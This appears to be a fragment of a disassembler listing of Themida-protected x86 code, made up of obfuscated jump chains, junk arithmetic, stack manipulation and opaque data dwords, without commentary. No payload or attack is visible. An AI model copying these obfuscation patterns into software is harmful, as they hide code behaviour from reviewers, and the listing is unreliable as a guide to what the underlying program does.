; ---------------------------------------------------------------------------


loc_572F59:				; DATA XREF: Themida_:0055E178o
		lodsd
		xor	eax, ebx
		push	edx
		push	7D116B42h
		pop	edx
		push	ebp
		mov	ebp, 7AB71F35h
		shr	ebp, 1
		push	edx
		mov	edx, 53044EAEh
		push	ecx
		mov	ecx, 73945B2Bh
		push	eax
		jmp	loc_571906
; ---------------------------------------------------------------------------


loc_572F7D:				; CODE XREF: sub_56207C+D71Bj
		pop	edi
		add	edi, ecx
		pop	ecx
		push	edx
		jmp	loc_57356F
; ---------------------------------------------------------------------------


loc_572F87:				; CODE XREF: sub_56207C+97A2j
		sub	ecx, 63E53188h
		jmp	loc_55F876
; ---------------------------------------------------------------------------


loc_572F92:				; CODE XREF: sub_56207C+F3CFj
		xor	[esp+18h+var_18], 7EC20E94h
		pop	edx
		jmp	loc_570B64
; ---------------------------------------------------------------------------


loc_572F9F:				; CODE XREF: sub_56207C+AC71j
		sub	ecx, 0A0B908EEh
		mov	edi, ecx
		jmp	loc_5609FA
; ---------------------------------------------------------------------------


loc_572FAC:				; CODE XREF: sub_56207C+39D4j
		mov	bl, dh
		pop	edx
		pop	eax
		mov	edx, [esp+2Ch+var_2C]
		jmp	loc_570992
; ---------------------------------------------------------------------------


loc_572FB8:				; CODE XREF: sub_56207C+70EEj
		pop	esp
		and	ecx, edx
		mov	edx, [esp+28h+var_28]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+2Ch+var_2C]
		pop	esp
		jmp	loc_5678E0
; ---------------------------------------------------------------------------


loc_572FD6:				; CODE XREF: sub_56207C+2110j
		push	4
		jmp	loc_56785F
; ---------------------------------------------------------------------------


loc_572FE0:				; CODE XREF: sub_56207C+C34Aj
		xor	[esp+1Eh+var_20+2], esi
		xor	esi, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		shr	ecx, 6
		push	6C24h
		jmp	loc_5678C6
; ---------------------------------------------------------------------------


loc_572FF6:				; CODE XREF: sub_56207C+93CDj
		pop	esi
		jmp	loc_561E5A
; ---------------------------------------------------------------------------


loc_572FFC:				; CODE XREF: sub_56207C+7040j
		add	ebp, 1A81579Ah
		or	ebp, 15F84D0Ah
		shr	ebp, 4
		jmp	loc_568903
; ---------------------------------------------------------------------------


loc_573010:				; CODE XREF: sub_56207C+6557j
		add	ebx, edx
		jmp	loc_5679CE
; ---------------------------------------------------------------------------


loc_573017:				; CODE XREF: sub_56207C+1FCCj
		push	edi
		mov	edi, 7BCA343Dh
		push	edi
		mov	edi, 7605DBAh
		add	ebx, edi
		pop	edi
		sub	ebx, edi
		sub	ebx, 7605DBAh
		pop	edi
		add	ebx, 8853E8A1h
		jmp	loc_56BE8D
; ---------------------------------------------------------------------------


loc_57303A:				; CODE XREF: sub_56207C+4695j
		add	[esp+2Ch+var_28], ebx
		pop	ebx
		mov	edx, [esp+28h+var_28]
		add	esp, 4
		push	eax
		push	edi
		mov	edi, 20B53B7Eh
		xor	edi, 7CEC0DAFh
		jmp	loc_56EA02
; ---------------------------------------------------------------------------


loc_57305A:				; CODE XREF: sub_56207C+22E9j
		pop	edx
		jmp	loc_5730AE
; ---------------------------------------------------------------------------


loc_573060:				; CODE XREF: sub_56207C+10095j
		push	ebp
		mov	ebp, 31E43C7Eh
		mov	edi, ebp
		mov	ebp, [esp+26h+var_28+2]
		jmp	loc_56A0FE
; ---------------------------------------------------------------------------


loc_573070:				; CODE XREF: sub_56207C+FECj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_56673B
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebx
		jmp	loc_563113
; ---------------------------------------------------------------------------


loc_573085:				; CODE XREF: sub_56207C+53EAj
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		jmp	loc_5725D1
; ---------------------------------------------------------------------------


loc_573093:				; CODE XREF: sub_56207C+DBAEj
		or	eax, 0A097DC6h
		jmp	loc_55EDBD
; ---------------------------------------------------------------------------


loc_57309D:				; CODE XREF: sub_56207C+B80Fj
		add	esi, 4
		push	eax
		mov	eax, 546F780Ch
		jmp	loc_56C8A9
; ---------------------------------------------------------------------------


loc_5730AE:				; CODE XREF: sub_56207C+10FDFj
		sub	ah, bh
		pop	ebx
		sub	bl, 0E9h
		sub	bl, 3
		add	bl, 7Fh
		add	bl, ah
		sub	bl, 7Fh
		add	bl, 3
		add	bl, 0E9h
		pop	ax
		add	bl, al
		push	69D0h
		mov	[esp+20h+var_20], edx
		mov	dl, 1Ch
		jmp	loc_56F41A
; ---------------------------------------------------------------------------


loc_5730D8:				; CODE XREF: sub_56207C+E8A6j
		xor	eax, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], eax
		xor	eax, [esp+6+var_8+2]
		pop	esp
		xchg	ebx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		shr	[esp+2+var_4+2], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5730F1:				; CODE XREF: sub_56207C+9230j
		pop	edx
		add	edx, 4
		push	23B9h
		jmp	loc_561692
; ---------------------------------------------------------------------------


loc_573102:				; CODE XREF: sub_56207C+D920j
		mov	eax, 1FD040E0h
		jmp	loc_5646F9
; ---------------------------------------------------------------------------


loc_57310C:				; CODE XREF: sub_56207C+64Ej
		mov	ecx, 21529DFh
		sub	edi, ecx
		jmp	loc_5663C8
; ---------------------------------------------------------------------------


loc_573118:				; CODE XREF: sub_56207C+8FBDj
		sub	eax, 2EE323B0h
		add	eax, ebx
		jmp	loc_56202B
; ---------------------------------------------------------------------------


loc_573124:				; CODE XREF: sub_56207C+B6D1j
		mov	[esp+0Ch+var_C], ecx
		push	edx
		push	eax
		jmp	loc_55FCFB
; ---------------------------------------------------------------------------


loc_57312E:				; CODE XREF: sub_56207C+529Bj
		mov	edi, ecx
		pop	ecx
		push	edi
		pop	ebx
		pop	edi
		pop	ebp
		and	esi, ebx
		pop	ebx
		and	esi, 54BC24E6h
		xor	esi, 2A3361BAh
		mov	[edx+38h], esi
		push	[esp+4Eh+var_50+2]
		pop	esi
		jmp	loc_571A8A
; ---------------------------------------------------------------------------


loc_573150:				; CODE XREF: sub_56207C+3D8Cj
		xchg	ebp, [esp+32h+var_34+2]
		pop	esp
		xor	edi, 434F4051h
		push	0F0Eh
		mov	[esp+32h+var_34+2], ebx
		jmp	loc_56A780
; ---------------------------------------------------------------------------


loc_573167:				; CODE XREF: sub_56207C+D655j
		push	edx
		mov	edx, 1BFB0089h
		jmp	loc_56F03F
; ---------------------------------------------------------------------------


loc_573172:				; CODE XREF: sub_56207C+184Ej
		xor	ebp, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_564ABD
; ---------------------------------------------------------------------------


loc_57317B:				; CODE XREF: sub_56207C+1232j
		push	ax
		push	ebx
		mov	bh, 0F3h
		jmp	loc_5651AC
; ---------------------------------------------------------------------------


loc_573185:				; CODE XREF: sub_56207C+657Fj
		mov	[esp+38h+var_38], edx
		mov	edx, esp
		push	edi
		push	esi
		push	521F7A43h
		pop	esi
		jmp	loc_561AB5
; ---------------------------------------------------------------------------


loc_573197:				; CODE XREF: sub_56207C+AF3Ej
		pop	esi
		jmp	loc_56D483
; ---------------------------------------------------------------------------


loc_57319D:				; CODE XREF: sub_56207C+2498j
		mov	word ptr [esp+2Eh+var_30+2], bx
		mov	bh, 31h
		xor	cl, bh
		pop	bx
		push	edx
		mov	dl, cl
		mov	bh, dl
		mov	edx, [esp+30h+var_30]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+34h+var_34]
		jmp	near ptr dword_55FEE8+79h
; ---------------------------------------------------------------------------


loc_5731C6:				; CODE XREF: sub_56207C+75D6j
		shr	cl, 2
		sub	esp, 4
		jmp	loc_56A52F
; ---------------------------------------------------------------------------


loc_5731D1:				; CODE XREF: sub_56207C+168j
		add	eax, 4D53012h
		mov	edx, [esp+60h+var_60]
		add	esp, 4
		sub	esp, 4
		mov	[esp+60h+var_60], edx
		mov	edx, 2
		add	eax, 5BD73A56h
		sub	eax, edx
		sub	eax, 5BD73A56h
		pop	edx
		xchg	eax, [esp+5Ch+var_5C]
		jmp	loc_56E216
; ---------------------------------------------------------------------------


loc_573202:				; CODE XREF: sub_56207C+F781j
		push	edi
		mov	edi, 74FF7815h
		and	edi, 29D3CF2h
		and	edi, 16019E6h
		add	edi, 1
		add	edi, 0FFFFE803h
		add	ebp, 54A16C1Ah
		add	ebp, edi
		jmp	loc_56DCAF
; ---------------------------------------------------------------------------


loc_57322A:				; CODE XREF: sub_56207C+5624j
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp+38h+var_38]
		add	esp, 4
		add	edx, 4
		jmp	loc_561514
; ---------------------------------------------------------------------------


loc_573246:				; CODE XREF: sub_56207C+875Ej
		xor	esi, [esp+1Ch+var_1C]
		jmp	loc_56C7F1
; ---------------------------------------------------------------------------


loc_57324E:				; CODE XREF: sub_56207C+173Bj
		push	eax
		not	[esp+34h+var_34]
		pop	eax
		shl	eax, 1
		add	eax, 83503297h
		mov	edi, eax
		pop	eax
		jmp	loc_563ADA
; ---------------------------------------------------------------------------


loc_573262:				; CODE XREF: sub_56207C+5F31j
		mov	ebp, 48AF6DEAh
		sub	edi, ebp
		pop	ebp
		shl	edi, 7
		xor	edi, 894BD491h
		jmp	loc_55FC06
; ---------------------------------------------------------------------------


loc_573278:				; CODE XREF: sub_56207C+259Cj
		push	edx
		jmp	loc_56625D
; ---------------------------------------------------------------------------


loc_57327E:				; CODE XREF: sub_56207C+3D03j
		mov	ebx, 0F6C4DAAh
		add	edx, ebx
		pop	ebx
		jmp	loc_55EF3D
; ---------------------------------------------------------------------------


loc_57328B:				; CODE XREF: sub_56207C+574Ej
		mov	[esp+16h+var_18+2], edx
		mov	edx, 3AA463D7h
		shl	edx, 4
		jmp	loc_56CA24
; ---------------------------------------------------------------------------


loc_57329B:				; CODE XREF: sub_56207C+D4DAj
		mov	[esp+10h+var_10], edx
		mov	edx, 7428764Fh
		jmp	loc_56F59C
; ---------------------------------------------------------------------------


loc_5732A8:				; CODE XREF: sub_56207C+F7Cj
		push	ecx
		jmp	loc_564D14
; ---------------------------------------------------------------------------


loc_5732AE:				; CODE XREF: sub_56207C+7094j
		mov	ebp, esp
		push	edx
		push	ebx
		mov	ebx, 5DD361E1h
		jmp	loc_566697
; ---------------------------------------------------------------------------


loc_5732BC:				; CODE XREF: sub_56207C+646Bj
		push	6D54h
		jmp	loc_5676A5
; ---------------------------------------------------------------------------


loc_5732C6:				; CODE XREF: sub_56207C+CA81j
		mov	edx, 314A29B4h
		add	eax, edx
		pop	edx
		sub	eax, ecx
		sub	eax, 314A29B4h
		pop	ecx
		pop	ebp
		xchg	eax, [esp+8+var_8]
		jmp	loc_565F75
; ---------------------------------------------------------------------------


loc_5732DF:				; CODE XREF: sub_56207C+9432j
		mov	ecx, 4
		add	[esp+34h+var_30], ecx
		mov	ecx, [esp+34h+var_34]
		add	esp, 4
		push	[esp+30h+var_30]
		push	[esp+34h+var_34]
		mov	esi, [esp+38h+var_38]
		add	esp, 4
		push	esi
		jmp	loc_564E9B
; ---------------------------------------------------------------------------


loc_573300:				; CODE XREF: sub_56207C+C45Ej
		add	eax, ecx
		mov	ecx, [esp+14h+var_14]
		jmp	loc_569E6A
; ---------------------------------------------------------------------------


loc_57330A:				; CODE XREF: sub_56207C-20ACj
		mov	edi, 2
		add	ecx, edi
		jmp	loc_56A0B4
; ---------------------------------------------------------------------------


loc_573316:				; CODE XREF: sub_56207C+11553j
		add	eax, 559E56A2h
		sub	eax, 302179CFh
		jmp	loc_56D7CD
; ---------------------------------------------------------------------------


loc_573325:				; CODE XREF: sub_56207C+930Aj
		mov	esp, [esp+8+var_8]
		jmp	loc_5617BB
; ---------------------------------------------------------------------------


loc_57332D:				; CODE XREF: sub_56207C+63FFj
		mov	[esp+0], edi
		push	0A9317EDh
		push	[esp+4+var_4]
		pop	edi
		jmp	loc_5699A4
; ---------------------------------------------------------------------------


loc_57333E:				; CODE XREF: sub_56207C+B274j
		mov	esp, [esp+6+var_8+2]
		mov	[esp+6+var_8+2], ecx
		push	6A43h
		mov	[esp+0Ah+var_C+2], eax
		jmp	loc_569CF2
; ---------------------------------------------------------------------------


loc_573351:				; CODE XREF: sub_56207C+6E37j
		push	esp
		mov	ecx, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], edx
		push	ebx
		push	6EFA11CBh
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+32h+var_34+2]
		pop	esp
		mov	[esp+2Eh+var_30+2], ebp
		mov	ebp, 58DD14A2h
		neg	ebp
		push	eax
		mov	eax, 6C6C2218h
		sub	eax, 39111C4Ah
		jmp	loc_5711C2
; ---------------------------------------------------------------------------


loc_573398:				; CODE XREF: sub_56207C-1D8Ej
		xor	edx, [esp+0Ah+var_C+2]
		pop	esp
		mov	word ptr [esp+6+var_8+2], cx
		jmp	loc_566D83
; ---------------------------------------------------------------------------


loc_5733A5:				; CODE XREF: sub_56207C+23E4j
		add	dl, 3
		sub	cl, dl
		jmp	loc_5687EE
; ---------------------------------------------------------------------------


loc_5733AF:				; CODE XREF: sub_56207C+3781j
		sub	ebp, 1417EEC1h
		add	edi, ebp
		push	[esp+14h+var_14]
		pop	ebp
		add	esp, 4
		jmp	loc_560D2A
; ---------------------------------------------------------------------------


loc_5733C3:				; CODE XREF: sub_56207C+EF14j
		pop	ebp
		mov	ecx, ebx
		jmp	loc_56DE1E
; ---------------------------------------------------------------------------


loc_5733CB:				; CODE XREF: sub_56207C+9FB9j
		sub	eax, 1A517508h
		jmp	loc_56E02B
; ---------------------------------------------------------------------------


loc_5733D5:				; CODE XREF: sub_56207C+53D9j
		add	bh, 0E2h
		push	dx
		jmp	loc_566538
; ---------------------------------------------------------------------------


loc_5733DF:				; CODE XREF: sub_56207C+B8EDj
		shr	eax, 5
		push	596Ch
		jmp	loc_573507
; ---------------------------------------------------------------------------


loc_5733EC:				; CODE XREF: sub_56207C+14Cj
		push	30A5h
		mov	[esp+64h+var_64], esp
		add	[esp+64h+var_64], 4
		mov	ecx, [esp+64h+var_64]
		jmp	loc_572325
; ---------------------------------------------------------------------------


loc_573400:				; DATA XREF: Themida_:0055E1F0o
		mov	ax, word ptr [esp+64h+var_64]
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_55E74C
; ---------------------------------------------------------------------------


loc_57340D:				; CODE XREF: sub_56207C+437Cj
		pop	eax
		add	ebp, 4
		xor	ebp, [esp+24h+var_24]
		xor	[esp+24h+var_24], ebp
		xor	ebp, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		shl	[esp+24h+var_24], cl
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_573425:				; CODE XREF: sub_56207C+B875j
		mov	[esp+26h+var_28+2], edx
		mov	dl, 0ECh
		jmp	loc_5629BD
; ---------------------------------------------------------------------------


loc_57342F:				; CODE XREF: sub_56207C+4F08j
		or	ebp, 37A130FEh
		not	ebp
		sub	ebp, 85606FFh
		mov	edi, ebp
		pop	ebp
		add	esi, edi
		mov	edi, [esp+2Ah+var_2C+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_56F79C
; ---------------------------------------------------------------------------


loc_57344D:				; CODE XREF: sub_56207C+A51Aj
		push	[esp+5Ch+var_5C]
		pop	eax
		add	esp, 4
		jmp	loc_570626
; ---------------------------------------------------------------------------


loc_57345C:				; CODE XREF: sub_56207C+E9D7j
		mov	[esp+4Ch+var_4C], esp
		add	[esp+4Ch+var_4C], 4
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	ecx
		push	esi
		mov	esi, 70983CC4h
		inc	esi
		add	esi, 8F67C33Fh
		mov	ecx, esi
		pop	esi
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp+48h+var_48]
		mov	esp, [esp+48h+var_48]
		jmp	loc_561B32
; ---------------------------------------------------------------------------


loc_57348F:				; CODE XREF: sub_56207C-2027j
		xor	esi, eax
		push	[esp+2Ch+var_2C]
		jmp	loc_564E37
; ---------------------------------------------------------------------------


loc_573499:				; CODE XREF: sub_56207C+19DEj
		push	edi
		push	74301DD2h
		pop	edi
		mov	edx, 0DE6434B8h
		sub	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+70h+var_70], ebp
		mov	ebp, 9BE2E12h
		push	edx
		mov	edx, 54E87328h
		inc	edx
		jmp	loc_56CB72
; ---------------------------------------------------------------------------


loc_5734C2:				; CODE XREF: sub_56207C+AA1j
		mov	edx, esp
		push	39ACh
		jmp	loc_563A5F
; ---------------------------------------------------------------------------


loc_5734CE:				; CODE XREF: sub_56207C-8D4j
		pop	esi
		sub	edi, 4
		xchg	edi, [esp+32h+var_34+2]
		jmp	loc_568E0A
; ---------------------------------------------------------------------------


loc_5734DD:				; DATA XREF: Themida_:0055E21Co
		mov	ax, word ptr [esp+32h+var_34+2]
		jmp	loc_570230
; ---------------------------------------------------------------------------


loc_5734E6:				; CODE XREF: sub_56207C+10771j
		shl	esi, 6
		jmp	loc_5612D3
; ---------------------------------------------------------------------------


loc_5734EE:				; CODE XREF: sub_56207C+1B0Bj
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], edi
		jmp	loc_56C418
; ---------------------------------------------------------------------------


loc_5734FC:				; CODE XREF: sub_56207C-4BFj
		add	esp, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_56F808
; ---------------------------------------------------------------------------


loc_573507:				; CODE XREF: sub_56207C+1136Bj
		mov	[esp+32h+var_34+2], ebx
		jmp	loc_56C93D
; ---------------------------------------------------------------------------


loc_57350F:				; CODE XREF: sub_56207C+4BCCj
		sub	al, ch
		mov	ecx, [esp+60h+var_60]
		jmp	loc_56F7E5
; ---------------------------------------------------------------------------


loc_573519:				; CODE XREF: sub_56207C+1150Dj
		push	[esp+60h+var_5C]
		jmp	loc_565309
; ---------------------------------------------------------------------------


loc_573522:				; CODE XREF: sub_56207C-38C9j
		mov	[esp+8+var_8], ebx
		jmp	loc_56106E
; ---------------------------------------------------------------------------


loc_57352A:				; CODE XREF: sub_56207C+2545j
		push	edx
		push	7DACh
		jmp	loc_564B56
; ---------------------------------------------------------------------------


loc_573535:				; CODE XREF: sub_56207C+ECC3j
		pop	ecx
		push	0FFEh
		mov	[esp+24h+var_24], ebp
		push	eax
		jmp	loc_5704A8
; ---------------------------------------------------------------------------


loc_573544:				; CODE XREF: sub_56207C-311Dj
		pop	edi
		xor	ebp, [esp+20h+var_20]
		xor	[esp+20h+var_20], ebp
		xor	ebp, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		jmp	loc_57074D
; ---------------------------------------------------------------------------


loc_573556:				; CODE XREF: sub_56207C+1j
		push	5989h
		mov	[esp+3Ch+var_3C], edx
		push	edi
		mov	edi, 99C4526h
		shr	edi, 7
		shl	edi, 3
		jmp	loc_56E15D
sub_56207C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_57356F:				; CODE XREF: sub_56207C+10F06j
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		sub	edx, 4
		xchg	edx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	[esp+1Ah+var_1C+2], edi
		jmp	loc_573519
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_57358E	proc near		; DATA XREF: Themida_:0055E1E8o
		mov	cx, [esp+0]
		push	edi
		push	esp
		jmp	loc_571A14
sub_57358E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_573599:				; CODE XREF: sub_56207C+65B9j
		mov	ebx, 49C95FF0h
		shl	ebx, 5
		add	ebx, 17DD209Dh
		add	ebx, 1C4F404Eh
		xor	edi, ebx
		pop	ebx
		add	edx, edi
		jmp	loc_56088C
; ---------------------------------------------------------------------------


loc_5735B7:				; CODE XREF: sub_56207C+10004j
		pop	esi
		sub	eax, 4
		xchg	eax, [esp+40h+var_40]
		jmp	loc_566615
; ---------------------------------------------------------------------------


loc_5735C5:				; CODE XREF: sub_56207C-22EAj
		add	eax, edi
		pop	edi
		sub	eax, 559E56A2h
		add	eax, edi
		jmp	loc_573316
; ---------------------------------------------------------------------------


loc_5735D4:				; CODE XREF: sub_56207C+264Cj
		not	ebp
		sub	ebp, 0FFFFFFFFh
		dec	ebp
		xchg	eax, ebp
		push	eax
		not	[esp+16h+var_18+2]
		jmp	loc_56C769
; ---------------------------------------------------------------------------


loc_5735E7:				; CODE XREF: sub_56207C+36D4j
		pop	esp
		add	dl, ah
		pop	ax
		jmp	loc_56E316
; ---------------------------------------------------------------------------


loc_5735F1:				; CODE XREF: sub_56207C+DF7Dj
		add	ebp, 4
		jmp	loc_565595
; ---------------------------------------------------------------------------


loc_5735FC:				; CODE XREF: sub_56207C-59Cj
		push	esi
		push	ebx
		jmp	loc_5702AD
; ---------------------------------------------------------------------------


loc_573603:				; CODE XREF: sub_56207C+1E3Cj
		add	edx, 4
		xor	edx, [esp+46h+var_48+2]
		xor	[esp+46h+var_48+2], edx
		xor	edx, [esp+46h+var_48+2]
		mov	esp, [esp+46h+var_48+2]
		jmp	loc_571F80
; ---------------------------------------------------------------------------


loc_573617:				; CODE XREF: sub_56207C+6C70j
		and	ebp, 6D944728h
		push	ecx
		jmp	loc_562504
; ---------------------------------------------------------------------------


loc_573623:				; CODE XREF: sub_56207C+96A0j
		shr	ecx, 5
		shl	ecx, 8
		jmp	loc_565AE3
; ---------------------------------------------------------------------------


loc_57362E:				; CODE XREF: sub_56207C+2BFFj
		pop	esp
		mov	[esp+28h+var_28], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_56EAD6
; ---------------------------------------------------------------------------


loc_57363F:				; CODE XREF: sub_56207C+E49Ej
		or	al, 10h
		jmp	loc_567D90
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_573646:				; CODE XREF: sub_54D654+408Aj
		jmp	loc_573683
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		db 0CDh
		dd 556C0DBBh, 33524553h, 6C642E32h, 4441006Ch, 49504156h
		dd 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 807D700h
		dd 1B000100h, 5000200h,	0AE000800h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_573683:				; CODE XREF: sub_54D654:loc_573646j
		jmp	loc_573F39
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		push	6139BF4h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6139C81h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6139D9Eh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6139EC6h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6139F3Eh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	613A01Dh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	613A08Ah
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		dw 9D4Bh
		dd 0FD6ABC92h, 0DB0A9CF2h, 3D247ED4h, 1ECA5C32h, 43E83B11h
		dd 0F3595692h, 0D4BAB5B1h, 0B89E9152h, 9DF3FC6Eh, 0C270E71Bh
		dd 41C982F1h, 4C90D0D4h, 1619C45Eh, 0BDB2ADF7h,	0E2CE6B0Fh
		dd 0FF9D9252h, 0FEB14D6Ah, 0C3BF2DA5h, 0A6BC6B4Ch, 9DF723D5h
		dd 0F624ABA4h, 78C984BBh, 33DC0CFh, 0DDD20C04h,	90E210C0h
		dd 0FBD45C53h, 0B27D1C4Dh, 35A35ED8h, 0E3EC5BEBh, 0B1120575h
		dd 0B6F5DBCEh, 0F7656ADEh, 7BEEE816h, 7AE4A064h, 0CAC57D17h
		dd 0C8650D33h, 0AEC4B4E0h, 3D9125BAh, 36DFC5DAh, 8394F0B8h
		dd 0FBCD36F5h, 0E3130472h, 60EFCAE2h, 0BEEAA6D4h, 3F303042h
		dd 0CAE26A98h, 0BFAFF9EFh, 346E02B0h, 3F55050Ah, 0A7FD000Fh
		dd 0EB55A8A7h, 133E5F7Dh, 0DEF41D3Dh, 0BED4345Ah, 0BAE8808Fh
		dd 8D6A8788h, 1D5688ACh, 6CD1AC0h, 0B1B70000h, 994ED8BEh
		dd 0E766C096h, 0C100A2E8h, 2A1E88CEh, 0F346F25h, 2F656ADEh
		dd 104649F5h, 0F45A5596h, 0D9BFB0B2h, 0FE2C235Fh, 5C982F1h
		dd 81431C10h, 0FE34D28Eh, 0BA68EFD1h, 49CF964Ah, 8C621D3Bh
		dd 0E33A352Dh, 0F2ABCF7Dh, 6B27735Dh, 0A938BBE4h, 443440D5h
		dd 17D63D2Eh, 64BEEA18h, 0CE16F7F8h, 538D101Fh,	0F92B4D25h
		dd 0A511414Eh, 831884B2h, 0D06682C9h, 1811A3B5h, 0F4A5CD7Bh
		dd 60B1BEA8h, 8F507B91h, 40323805h, 0C2000006h,	0E3450B04h
		dd 83256B64h, 9D074D42h, 43E5ABA4h, 61C28887h, 0DAD50DBCh
		dd 3D323274h, 1D12CD57h, 7C73ED37h, 0EB6C9C16h,	0C982F03Bh
		dd 43295BC8h, 257F8E81h, 844343Bh, 968CD707h, 58D06CCFh
		dd 0E063B581h, 7F70F200h, 7CFEB2AEh, 0FCDEB48h,	7806h
		dd 0F65D600h, 3C3330DBh, 0B7C17F8Eh, 0FF61BCB3h, 14FF69BBh
		dd 1AC62728h, 0C85AA6ECh, 4AF61718h, 8CC9791Eh,	225ECF96h
		dd 29653C4Eh, 8CAC5AFDh, 0DBBCF96h, 968C5886h, 72A0EECFh
		dd 66BE755Bh, 80A7CB79h, 0CF95EE4Eh, 0E3A9A6A0h, 423E6AB6h
		dd 0A760B0CDh, 5F0BB9D5h, 3F151AC5h, 0A8757AE5h, 586A2h
		dd 0C6D8C600h, 6240A53Ch, 0B6242B1Fh, 0A5FD06A8h, 0B1F99D42h
		dd 8E81435Bh, 0A2F6D27Fh, 97B661F6h, 0DBBD5A7h,	888FFB47h
		dd 0C985815Ah, 8DD75BE9h, 5BF65C53h, 0D79297Dh,	0A27B74F7h
		dd 3555FABEh, 61CF991Ch, 0CFDED113h, 2BE1911h, 0C033C56h
		dd 6C63DC46h, 96994B91h, 41A9827Bh, 75E13A89h, 523h, 226867DDh
		dd 64C4380h, 0E8AEA19Ch, 0CE848BBEh, 0ADE3EC54h, 2020D17Ah
		dd 0F3F692Fh, 6FD84A00h, 4EF82A60h, 71890B41h, 82F030DEh
		dd 2E5E37C9h, 7F8E8143h, 0E9343B25h, 6067619Dh,	0BBD28BB7h
		dd 0A4BFF1B9h, 9662789Fh, 0F9C26CCFh, 0B70FCDC1h, 0FFFFFF0Eh
		dd 6A814345h, 3729F4FBh, 0FA9DC9B9h, 0CF968C4Ch, 4DE13DDBh
		dd 461AD59Ah, 0EF92CAC8h, 0DB2DE0D9h, 0A988657h, 0A36D7D8h
		dd 3DC0CF78h, 0E6C26F03h, 3251C6B2h, 37D5A796h,	5AA6D3B9h
		dd 7A3D520Eh, 3CCF968Fh, 5C8E65E6h, 18964A53h, 0F8D75B85h
		dd 6596B14Ch, 0B0CF968Ah, 0C5F9E760h, 8D0FCDE9h, 15Ch
		dd 0B883B35Dh, 0ECC7EFE8h, 0D2A6A99Ah, 8F4C90B8h, 5B549121h
		dd 0C0CF7A42h, 6795033Dh, 93C3242Bh, 0ACD8D5A7h, 0A3915AFDh
		dd 0CD4A35Fh, 0FB1887BCh, 0A896F0D4h, 9A46A7D5h, 61E63C6Ch
		dd 0C9A19F6Eh, 42399ABDh, 922EF5DCh, 4AFAC60Bh,	0F9F6719Ah
		dd 108E3C24h, 70A12F20h, 0AA6FBCDh, 151AC45Eh, 747BE53Fh
		dd 8855FEA5h, 0A5916A56h, 3FBh,	0FA505F85h, 0DEB4BBA8h
		dd 0C0969944h, 0A6ECE366h, 85CBC47Ch, 18C8F922h, 67E74117h
		dd 47802268h, 0A6A00248h, 5951E3A9h, 82EF0836h,	6061FC9h
		dd 55FA6CB4h, 0CF968CA5h, 0A89816A2h, 2827267Ch, 20076BD5h
		dd 0D5AA278Fh, 8B84BCD4h, 8FB4CE72h, 55C37D80h,	535C8FE5h
		dd 8283F9E7h, 0C44457A8h, 6FD84AACh, 85479D60h,	43F1FE6Eh
		dd 500DE1B6h, 0BEAC718Fh, 383h,	82C8C77Dh, 662C2320h, 480E013Ch
		dd 2E646BDEh, 0D434CF4h, 8040719Ah, 0EF5FC98Fh,	0CF78AAE0h
		dd 2E188AC0h, 0D1296B21h, 82ED90BEh, 8EFE97C9h,	7F8E8143h
		dd 0ADC08503h, 0C250592Bh, 0C5CA74AEh, 8B9CD238h, 964C8BB0h
		dd 0ECD719CFh, 0A20FCDAFh, 0FFFFFD6Eh, 30825A44h, 0F554C6E9h
		dd 81434FBDh, 0F6D27F8Eh, 1261F6A2h, 0D7D5A7BEh, 0AE9BE959h
		dd 55A7C9A1h, 3C844790h, 0B4173868h, 0A9D5A793h, 112B2E1Bh
		dd 45719CFAh, 0E61D855Bh, 30422619h, 0DE7B3F30h, 65EAA6F2h
		dd 27A11482h, 0A757F834h, 0C9277F03h, 538D101Fh, 477038B4h
